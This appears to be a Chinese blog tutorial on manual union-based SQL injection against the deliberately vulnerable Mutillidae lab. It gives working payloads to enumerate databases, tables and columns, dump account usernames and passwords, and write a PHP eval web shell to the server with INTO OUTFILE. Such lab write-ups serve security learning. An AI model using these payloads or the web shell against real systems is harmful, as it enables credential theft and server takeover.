手工注入 mutillidae

環境: xampp-win32-5.6.3-0-VC11        Mutillidae-2.6.19

前言

網上能搜到mutillidae 相關的工具注入,可是手工注入的基本沒有,好像大神們都已經略過手工注入這一階段了,沒辦法,剛進入的新手仍是老老實實手工注入。php

這裏也將蒐集到的工具注入記錄以下,之後用工具注入會有用的:html

準備

mutillidae跟dvwa相似,也有安全級別,因此剛開始作手工注入的時候就將它調至最低吧:mysql

圖片描述

而後咱們到mutillidae的注入點:web

OWASP 2013 --> 」A1 - Injection」 —>> 」SQLi - Extract Data」 —>> 」User Info」

須知

SQL注入最重要的是尋找注入點,mutillidae 這裏面的注入跟別的實際場景不同,咱們知道最多見的是去url上檢測注入點。 固然像mutillidae 這樣的構造的用戶登錄的注入點檢測也不少(經常使用的萬能密碼測試?)。只是目前本身遇到的還少。sql

實際操做

尋找注入點

在用戶信息界面:單引號檢測Name對應表單,結果以下:數據庫

圖片描述

經過這張圖片咱們就知道後端數據支撐的數據庫類型是mysql了後端

咱們還能夠嘗試是否能列出全部用戶信息: ‘ or 1=1 #
結果咱們獲得了全部用戶信息。(圖略)安全

猜解查詢結果集字段

咱們使用以下語句:ide

’ order by 10 #   頁面出錯
 ’ order by 5  #   頁面無數據
 ’ order by 7  #   頁面無數據
 ’ order by 8  #   頁面出錯

因此猜到查詢結果集的列數爲 7列函數

猜數據庫類型,連接用戶,數據庫名

先用以下語句獲得哪些字段能夠用來顯示數據:

' and 1=2 union select 1,2,3,4,5,6,7 #

以下圖:
圖片描述

而後構造語句:

' and 1=2 union select 1,user(),version(),database(),5,6,7 #

而後咱們就獲得了以下信息

Username=root@localhost
Password=5.6.21
Signature=nowasp

若是隻有一個字段能夠顯示信息的,那麼咱們能夠用concat_ws函數方便一次性獲得數據

' and 1=2 union select 1,concat_ws(char(32,58,32),user(),database(),version()),3,4,5,6,7 #

獲得的信息以下:

Username=root@localhost : nowasp : 5.6.21
Password=3
Signature=4

這下知道是mysql5以上的數據庫,那麼咱們就能夠直接利用系統庫爆出一些信息

獲取全部的庫名

' and 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7 from information_schema.SCHEMATA  #

獲得的數據庫名以下:

information_schema
cdcol
dvwa
mysql
nowasp
performance_schema
phpmyadmin
test
webauth

獲得的數據庫仍是蠻多的,放在這兒,做爲檢測,這些都是可利用的信息,或許之後有用

獲取當前連接數據庫下的全部表名

' and 1=2 union select 1,TABLE_NAME,3,4,5,6,7 from information_schema.TABLES where TABLE_SCHEMA=0x6E6F77617370 #

其中0x6E6F77617370是nowasp的十六進制編碼

獲得的表名以下:

accounts
balloon_tips
blogs_table
captured_data
credit_cards
help_texts
hitlog
level_1_help_include_files
page_help
page_hints
pen_test_tools
youtubevideos

這表也是蠻多的,可是通常咱們只須要咱們有用的表就行,目前須要的是系統用戶信息表,這裏看就是accounts表了

獲取字段

' and 1=2 union select 1,COLUMN_NAME,3,4,5,6,7 from information_schema.COLUMNS where TABLE_NAME=0x6163636F756E7473 #

其中0x6163636F756E7473是accounts的16進制編碼

獲得的字段以下:

cid
username
password
mysignature
is_admin
firstname
lastname
USER
CURRENT_CONNECTIONS
TOTAL_CONNECTIONS

獲取字段值

' and 1=2 union select 1,username,password,mysignature,5,6,7 from accounts#

你會發現這跟以前的萬能密碼爆出來的東西同樣。 這大概就是mysql 5的注入獲取數據的過程,

獲取websehll

而後你須要找後臺,找上傳點,上傳你的小馬。或者試下下面簡單快捷方法,寫入一句話(須要你有寫入權限)

' union select 1,'<?php eval($_POST[cmd]);?>',3,4,5,6,7 into outfile 'D:\\xampp\\htdocs\\mutillidae\\coofig.php' #
相關文章
相關標籤/搜索